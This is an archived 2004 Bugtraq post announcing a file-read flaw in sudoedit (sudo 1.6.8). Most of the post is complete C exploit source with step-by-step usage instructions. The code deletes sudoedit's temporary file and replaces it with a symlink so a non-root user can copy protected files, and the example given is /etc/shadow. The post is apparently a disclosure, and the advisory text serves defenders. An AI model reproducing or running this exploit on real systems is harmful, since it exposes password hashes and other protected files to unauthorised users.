lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: 18 Sep 2004 13:16:33 -0000
From: Angelo Rosiello <angelo@...iello.org>
To: bugtraq@...urityfocus.com
Subject: Sudo Exploit by Rosiello Security




Reference
http://www.sudo.ws/sudo/alerts/sudoedit.html 

Summary
A flaw in exists in sudo's -u option (aka sudoedit) in sudo version 1.6.8 that can give an attacker read permission to a file that would otherwise be unreadable. 


Sudo versions affected
1.6.8 only 


Details
While sudoedit runs the actual editor as the invoking user, the temporary file is then re-opened with root privileges. An attacker can run sudoedit, remove the editor temporary file, make a link to an unreadable file with the same name as the old temporary file and quit the editor. The file being edited via sudoedit will now contain a copy of the previously unreadable file. 


Impact
Exploitation of the bug requires that the sudoers file be configured to allow the attacker to run sudoedit. If no users have been granted access to sudoedit there is no impact. 


Fix
The bug is fixed in sudo 1.6.8p1. 


Credit
This problem was brought to my attention by Reznic Valery. 

Exploit
http://www.rosiello.org/archivio/sudo-exploit.c 


------------------------------------------------
The exploit's code:

/*

	   Copyright © Rosiello Security 2004
 	        http://www.rosiello.org

                  sudoedit Exploit


SOFTWARE : sudoedit 
REFERENCE: http://www.sudo.ws/sudo/alerts/sudoedit.html
DATE: 18/09/2004

Summary:
A flaw in exists in sudo's -u option (aka sudoedit) 
in sudo version 1.6.8 that can give an attacker 
read permission to a file that would otherwise be 
unreadable.

Sudo versions affected:
1.6.8 only

Credit: 
Reznic Valery discovered the problem. 

-----------------------------------------------------------

All the information that you can find in this software  
were published for educational and didactic purpose only.
The author published this program under the condition 
that is not in the intention of the reader to use them 
in order to bring to himself or others a profit or to bring 
to others damage.

!Respect the law!

How do I use this code ?

To exploit sudoedit you have to open with it the
file "rosiello" as shown in the example.

EXAMPLE SCENARIO:

1) Open two shells (i) and (ii);
2) (i)$sudoedit rosiello;
3) (ii)$./sudoedit-exploit /etc/shadow;
4) (i) close sudoedit.

The file "rosiello" is now a copy of "/etc/shadow".

AUTHOR : Angelo Rosiello
CONTACT: angelo@...iello.org

*/

#include <stdio.h>
#include <sys/stat.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <dirent.h>


int main( int argc, char *argv[] )
{	
	char PATH[]="/usr/tmp";
	char file[32];
        DIR *tmp;
        struct dirent *de;
        tmp = opendir ( PATH );
	int found = 0;
	
	printf( "Copyright © Rosiello Security 2004\n" );
	printf( "http://www.rosiello.org\n" );

	if( argc!=2 )
	{
		printf( "USAGE: %s file\n", argv[0] );
		return( 0 );
	}


	while ( (de = readdir ( tmp ))!= NULL )
	{
		if ( (strstr(de->d_name, "rosiello") != NULL) )
        	{
			if( strlen(de->d_name) > 24 ) return( 0 ); 
			sprintf( file, "%s/%s", PATH, (char *)de->d_name );
			remove( file );
			if( fork()!=0 )
			{
				execl( "/bin/ln", "ln", "-s", argv[1], file, NULL ); 
			}
			wait( );
			printf( "Now you can close sudoedit and reopen rosiello!\n" );
			found=1;
			goto end;
		
		}
		
        }
	end:
	closedir( tmp );
	
	if( !found ) 
		printf( "File Not Found!\n" );
	return( 0 );
	
}




Powered by blists - more mailing lists